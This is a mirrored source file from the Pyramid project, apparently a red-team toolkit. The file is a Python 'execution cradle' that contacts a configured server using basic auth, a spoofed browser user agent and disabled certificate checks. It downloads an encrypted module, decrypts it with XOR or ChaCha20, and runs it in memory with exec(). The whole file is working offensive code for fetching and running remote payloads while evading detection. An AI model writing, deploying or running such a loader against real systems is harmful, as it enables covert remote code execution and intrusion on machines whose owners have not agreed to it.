mirror of
https://github.com/naksyn/Pyramid
synced 2026-06-08 16:17:13 +00:00
c318617011
Added wininet for cradle and Pythonmemorymodule and tuned the server a bit
152 lines
5.2 KiB
Python
152 lines
5.2 KiB
Python
'''
|
|
Author: @naksyn (c) 2023
|
|
|
|
Description: Pyramid module execution cradle to download, decrypt and execute in-memory.
|
|
|
|
Copyright 2023
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
|
|
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
|
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
|
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
|
|
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
'''
|
|
|
|
import struct
|
|
import urllib.request
|
|
import base64
|
|
import ssl
|
|
import hashlib
|
|
|
|
### GENERAL CONFIG ####
|
|
|
|
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
|
|
|
|
### This config is generated by Pyramid server upon startup and based on command line given
|
|
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER
|
|
|
|
pyramid_server='192.168.1.2'
|
|
pyramid_port='80'
|
|
pyramid_user='test'
|
|
pyramid_pass='pass'
|
|
encryption='chacha20'
|
|
encryptionpass='chacha20'
|
|
chacha20IV=b'12345678'
|
|
pyramid_http='http'
|
|
encode_encrypt_url='/login/'
|
|
pyramid_module='pythonmemorymodule.py'
|
|
|
|
### END DELIMITER
|
|
|
|
|
|
def encrypt_wrapper(data, encryption):
|
|
if encryption == 'xor':
|
|
result=xor(data, encryptionpass.encode())
|
|
return result
|
|
elif encryption == 'chacha20':
|
|
result=encrypt(data, encryptionpass.encode(),chacha20IV)
|
|
return result
|
|
|
|
def xor(data, key):
|
|
xored_data = []
|
|
i = 0
|
|
for data_byte in data:
|
|
if i < len(key):
|
|
xored_byte = data_byte ^ key[i]
|
|
xored_data.append(xored_byte)
|
|
i += 1
|
|
else:
|
|
xored_byte = data_byte ^ key[0]
|
|
xored_data.append(xored_byte)
|
|
i = 1
|
|
return bytes(xored_data)
|
|
|
|
def yield_chacha20_xor_stream(key, iv, position=0):
|
|
"""Generate the xor stream with the ChaCha20 cipher."""
|
|
if not isinstance(position, int):
|
|
raise TypeError
|
|
if position & ~0xffffffff:
|
|
raise ValueError('Position is not uint32.')
|
|
if not isinstance(key, bytes):
|
|
raise TypeError
|
|
if not isinstance(iv, bytes):
|
|
raise TypeError
|
|
if len(key) != 32:
|
|
raise ValueError
|
|
if len(iv) != 8:
|
|
raise ValueError
|
|
|
|
def rotate(v, c):
|
|
return ((v << c) & 0xffffffff) | v >> (32 - c)
|
|
|
|
def quarter_round(x, a, b, c, d):
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 16)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 12)
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 8)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 7)
|
|
|
|
ctx = [0] * 16
|
|
ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
|
|
ctx[4 : 12] = struct.unpack('<8L', key)
|
|
ctx[12] = ctx[13] = position
|
|
ctx[14 : 16] = struct.unpack('<LL', iv)
|
|
while 1:
|
|
x = list(ctx)
|
|
for i in range(3):
|
|
quarter_round(x, 0, 4, 8, 12)
|
|
quarter_round(x, 1, 5, 9, 13)
|
|
quarter_round(x, 2, 6, 10, 14)
|
|
quarter_round(x, 3, 7, 11, 15)
|
|
quarter_round(x, 0, 5, 10, 15)
|
|
quarter_round(x, 1, 6, 11, 12)
|
|
quarter_round(x, 2, 7, 8, 13)
|
|
quarter_round(x, 3, 4, 9, 14)
|
|
for c in struct.pack('<16L', *(
|
|
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
|
|
yield c
|
|
ctx[12] = (ctx[12] + 1) & 0xffffffff
|
|
if ctx[12] == 0:
|
|
ctx[13] = (ctx[13] + 1) & 0xffffffff
|
|
|
|
|
|
def encrypt(data, key, iv=None, position=0):
|
|
"""Encrypt (or decrypt) with the ChaCha20 cipher."""
|
|
if not isinstance(data, bytes):
|
|
raise TypeError
|
|
if iv is None:
|
|
iv = b'\0' * 8
|
|
if isinstance(key, bytes):
|
|
if not key:
|
|
raise ValueError('Key is empty.')
|
|
if len(key) < 32:
|
|
# TODO(pts): Do key derivation with PBKDF2 or something similar.
|
|
key = (key * (32 // len(key) + 1))[:32]
|
|
if len(key) > 32:
|
|
raise ValueError('Key too long.')
|
|
|
|
return bytes(a ^ b for a, b in
|
|
zip(data, yield_chacha20_xor_stream(key, iv, position)))
|
|
|
|
|
|
|
|
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
|
gcontext.check_hostname = False
|
|
gcontext.verify_mode = ssl.CERT_NONE
|
|
|
|
request = urllib.request.Request(pyramid_http + '://'+ pyramid_server + ':' + pyramid_port + encode_encrypt_url + \
|
|
base64.b64encode((encrypt_wrapper((pyramid_module).encode(), encryption))).decode('utf-8'), \
|
|
headers={'User-Agent': user_agent})
|
|
base64string = base64.b64encode(bytes('%s:%s' % (pyramid_user, pyramid_pass),'ascii'))
|
|
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
|
|
|
|
result = urllib.request.urlopen(request, context=gcontext)
|
|
payload=result.read()
|
|
paydec=encrypt_wrapper(payload,encryption)
|
|
exec(paydec.decode('utf-8'))
|